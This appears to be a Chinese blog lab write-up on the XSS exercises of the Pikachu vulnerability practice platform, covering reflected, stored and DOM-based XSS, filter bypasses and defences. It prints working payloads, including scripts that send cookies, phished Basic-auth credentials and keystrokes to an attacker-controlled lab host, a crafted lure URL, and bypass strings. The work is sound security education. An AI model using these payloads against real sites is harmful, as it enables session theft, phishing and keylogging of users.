Pikachu漏洞练习平台实验——XSS（二）

Pikachu漏洞练习平台实验——XSS（二）
概述

简介

XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户

  XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie，甚至对主机进行远程控制

攻击流程

  假设存在漏洞的是一个论坛，攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

  当用户访问这个页面时，都会执行这个恶意的JS代码，这个代码就会在用户的浏览器端执行

XSS攻击类型

危害：存储型 > 反射型 > DOM型
- 反射型：交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询页面等
- 存储型：交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面
- DOM型：不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型
XSS形成原因

  形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格

  导致“精心构造”的脚本输入后，在输出到前端时被浏览器当作有效代码解析执行

XSS漏洞测试流程

  ① 在目标上找输入点，比如查询接口、留言板

  ② 输入一组 “特殊字符（>，'，"等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理

  ③ 通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）

  ④ 提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞

反射型XSS(get)

  我们先输入“ '"<>6666 ” 用于测试我们的输入会不会被过滤掉，因为有特殊字符

  还有我们的输入会不会被输出，输出会不会被处理

   下面我们查看一下页面源码

  我们的输入被原封不动地输出到了 p 标签中

  下面测试我们输入的JS代码，看是否会原封不动地输出，payload如下
```
<script>alert("xss")</script>
```
  由于前端对输入长度做了限制，我们需要修改一下才能输入完整的payload

  提交之后发现我们的payload在浏览器上成功执行了

  我们查看源码可以发现，我们输入的payload嵌入了到了 p 标签里面

  这又是正确的JS代码，所以被浏览器正确执行了

  这是一个简单的反射型XSS，从前端输入由后端接受再输出

  后端没有对这个内容进行存储

  另外，这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标即可

  如果是POST型的XSS，无法直接使用URL的方式进行攻击

XSS案例：盗取Cookie

实验机器
- 攻击者192.168.171.129
- 受害者192.168.171.1
- 漏洞服务器192.168.171.133
攻击流程

先在Kali上搭建XSS后台，将pikachu项目源码放到Kali机器的/var/www/html文件夹中

启动MySQL和Apache服务
```
service apache2 start
service mysql start
```
  Kali中MySQL的root账号的密码为root，可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息

  访问 http://localhost/pikachu ，访问管理工具里的XSS后台，初始化数据库

  看到下面的界面就是成功了

   然后进入登录界面、登录

如果碰到连不上数据库的情况，可以尝试执行下面的命令

# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to 'root'@'%' identified by 'root';
# 刷新权限
flush privileges;
# 退出MySQL shell
quit

  修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php，将IP地址改为漏洞服务器的地址

  cookie.php用于接收受害者的cookie，然后将页面重定向到漏洞服务器的index页面，我们构造的Payload如下
```
<script>document.location = 'http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
```
当用户提交的时候，我们就能取得用户的Cookie

由于是GET类型的XSS漏洞，我们可以直接构造一个带有Payload的URL，诱使受害者点击就能取得Cookie
```
http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
```
反射型XSS(post)

  我们登录一下，默认账号密码是admin 123456

  会得到以下界面

  这里是以POST的方式提交的，参数内容不会出现在URL中，可以抓包看一下

  这时候我们不能直接把我们的恶意代码嵌入到URL中

  攻击思路如下

  我们需要自己搭一个恶意站点，然后在网站上放一个post表单

  将存放POST表单的链接发送给受害者，诱导受害者点击

  这个POST表单会自动向漏洞服务器提交一个POST请求，实现受害者帮我们提交POST请求的目的

实验机器：

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

  这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件

  我们需要修改里面漏洞服务器和攻击者的服务器地址

  post.html页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面
```
http://192.168.171.129/pikachu/pkxss/xcookie/post.html
```
  我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie

存储型XSS

  存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害

  我们试着在皮卡丘平台上的XSS上留言，看看是否有什么过滤机制

  我们发现我们的留言会一直存在，而且从表现上我们输入的内容直接输出了

  下面通过源码观察

  我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理

  下面输入下面的Payload进行测试
```
<script>alert("xss")</script>
```
  成功弹窗

XSS案例：钓鱼攻击

  我们这里用一个Basic认证去做这个钓鱼攻击

  我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时

  这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部

  这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

实验机器

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

  首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框

  修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址

  构造的Payload如下
```
<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script> 
```
  当用户访问这个留言板时，会出现下面的认证框

  上面已经提示密码不会发给正在浏览的网站，如果用户不注意还是可能上当

  用户输入的账号密码就已经存到了我们的数据库里

XSS案例：键盘记录

  实验前先了解一下跨域

什么是跨域

  当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域

  我们把不同域之间请求数据的操作，称为跨域操作

跨域-同源策略

  为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定：

两个不同域之间不能使用JS进行互相操作

  比如：x.com 域名下的 JS 并不能操作 y.com 域下的对象

  如果想要跨域操作，则需要管理员进行特殊配置

  比如通过头里面：header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

  下面的标签跨域加载资源（资源类型时有限制的）是不受同源策略限制的
- <script src="...">，JS加载到本地执行
- <img src="..">，图片
- <link href="..">，CSS
- <iframe src="..">，任意资源
为什么要同源策略

  A登录了淘宝，攻击者向A发送了一个恶意链接http://盗取cookie

  如果没有同源策略，url上的js恶意操作A的内容

  有了同源策略，就限制了这种状况

  或者，一个恶意站点A使用了 <iframe src="B站点登录界面"> ，发送该恶意 url 给受害者

  如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息

实验

  Kali机器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址

  rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用

  这个文件可以记录用户的键盘操作，然后异步发送给攻击者

  但是这个违背了同源策略，因为我们攻击者的机器和漏洞服务器的主机是不一样的

  AJAX的请求默认情况下是不能跨域的，这个请求默认情况下是会失败的

  去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码

  我们可以用下面的Payload测试一下
```
<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>
```
  提交之后打开控制台，看一下网络请求，我们在页面上随便输入一些东西，会有下面的提示

  由于 192.168.171.129 是攻击者自己搭建的平台，攻击者可以允许所有人来跨域请求，下面我们把刚刚注释的代码打开

  这时候再在浏览器上输入东西，就没有任何提示了，我们也在一直向攻击者的服务器发送数据

  攻击者也收集到了我们的击键信息

DOM型XSS

  DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树

可以参考：https://www.w3school.com.cn/htmldom/index.asp

  我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等

  DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

  下面我们在皮卡丘平台上的DOM型XSS上测试一下

  输入图中的内容，观察到如下输出，发现和输入的内容有区别

  下面通过观察页面源码

  这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

  然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

  我们通过闭合的方式构造Payload

  构造的Payload如下
```
#' onclick=alert("xss")>
```
  成功弹窗

造成DOM型XSS的原因是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的

DOM型XSS-X

  我们随便输入一些内容，会多出下面一句话

  下面观察下面源码

  这里也有个JS代码，它定义了一个domxss函数

  它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str

  然后经过URL解码和字符串分隔，取出URL中的参数内容

  再把 “+” 替换为 “ ”（空格），赋值给 xss

  最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中

  跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)

  构造的Payload跟刚才是一样的
```
#' onclick=alert("xss")>
```
XSS之盲打

  XSS盲打不是攻击类型，而是一个攻击场景

  在皮卡丘平台上，我们随便输入一些东西

  提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看

  如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出

  那后台管理员可能遭受到我们的XSS攻击，我们提交以下内容

  并登录后台管理界面（账号密码为admin，123456）
```
http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php
```
一登录进来就遭受了XSS攻击

XSS之过滤

实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过

转换的思路
- 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
- 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
- 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
- 注释干扰，<script>alert(111)</script>。加上注释后可能可以绕过后台过滤机制。
编码的思路

核心思路：
- 后台过滤了特殊字符，比如<script>标签，但该标签可以被各种编码，后台不一定过滤
- 当浏览器对该编码进行识别时，会翻译成正常的标签，从而执行
编码应该在输出点被正常识别和翻译，不能随便使用编码。

例子：

<img src=x onerror=alert('xss')>
将alert('xss')进行URL编码，可以执行吗？
<img src=x onerror=alert%28%27xss%27%29>

它并不会执行，因为属性标签并不会正常解析这些编码

<img src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<img src=x onerror=alert('xss')>

当它输出到前端的时候，浏览器会对这个编码进行翻译，从而弹窗

  XSS绕过的姿势很多，取决于你的思路和对前端技术的掌握程度

  我们在皮卡丘平台上，输入下面的内容看一下后台会怎么处理

  可以看到我们输入的<script>标签被去掉了

  尝试用大小写混合的方式看看能否绕过
```
<SCRIPT>alert(111)</sCRIpt>
```
这时候成功弹窗，后端只对小写的script进行过滤

也可以用别的攻击Payload，后台可能没有做处理
```
<img src=x onerror=alert('xss')>
```
XSS之htmlspecialchars

  关于htmlspecialchars()函数

  htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

  预定义的字符是
- & 成为 &amp
- " 成为 &quot
- ' 成为 &#039
- < 成为 &lt
- > 成为 &gt
可用引号类型
- ENT_COMPAT：默认，仅编码双引号
- ENT_QUOTES：编码双引号和单引号
- ENT_NOQUOTES：不编码任何引号
  我们在皮卡丘平台上输入下面的内容，看一下后端是怎么处理的

  我们输入的内容经过了HTML编码

  可以看到 “ " ”，“ > ”和“ < ”都经过了编码，剩下的字符没有，单引号依然可以使用

  我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号
```
' onclick=alert(1111) '
```
XSS常见防范措施

总的原则：输入做过滤，输出做转义
- 过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字
- 转义：所有输出到前端的数据根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里面进行JS转义
XSS之href输出

  看一下xss_03.php的源码

  这个页面会接收我们的输入的message，然后判断我们输入的网址，如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理

  这个函数转义单引号、双引号和左右尖括号

  然后输出到 a 标签的 href 属性中，在 a 标签的href属性中，可以用javascript协议来执行JS

  构造Payload如下，没有上面被转义的字符
```
javascript:alert(111)
```
提交后查看源码，我们的输入在 a 标签的 href属性中

此时点击我们的标签就会出现弹窗

如果要对 href 做处理，一般有两个逻辑：
- 输入的时候只允许 http 或 https 开头的协议，才允许输出
- 其次再进行htmlspecialchars处理
XSS之js输出

  我们随便输入一些东西，然后查看一下页面源码

  它会把我们的输入放到JS中，然后对这个变量进行判断，然后再输出

  我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码
```
'</script><script>alert('xss')</script>
```
  这时候我们的JS也被执行了

  这个漏洞的输出点是在JS中，通过用户的输入动态生成了JS代码

  JS有个特点，它不会对实体编码进行解释，如果想要用htmlspecialchars对我们的输入做实体编码处理的话

  在JS中不会把它解释会去，这样解决了XSS问题，但不能构成合法的JS

  所以在JS的输出点应该对应该使用对特殊字符进行转义

XSS常见Payload

其他可以参考：https://www.cnblogs.com/xuehen/p/4814237.html
```
<script>alert("xss")</script>
<script>alert(document.cookie)</script>
<a href=javascript:alert(111)>
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">
```
相关阅读:
IIS7.5 部署WCF项目问题集锦
 C#制作“安装和部署”时，实现软件开机启动
 Strsafe.h：更安全的C语言字符串处理函数
 FMOD音频引擎简单使用
 您也使用托管C++吗？
《Programming in Lua中文版》 8.Compilation, Execution, and Errors
恶心的C语言strtok函数
 Lua一些基本函数
 Lua tables 分析1
如何让EditPlus支持LUA(转)
原文地址：https://www.cnblogs.com/dogecheng/p/11556221.html

Pikachu漏洞练习平台实验——XSS（二）

概述

简介

攻击流程

XSS攻击类型

XSS形成原因

XSS漏洞测试流程

反射型XSS(get)

XSS案例：盗取Cookie

反射型XSS(post)

存储型XSS

XSS案例：钓鱼攻击

XSS案例：键盘记录

什么是跨域

跨域-同源策略

为什么要同源策略

实验

DOM型XSS

DOM型XSS-X

XSS之盲打

XSS之过滤

转换的思路

编码的思路

XSS之htmlspecialchars

XSS常见防范措施

XSS之href输出

XSS之js输出

XSS常见Payload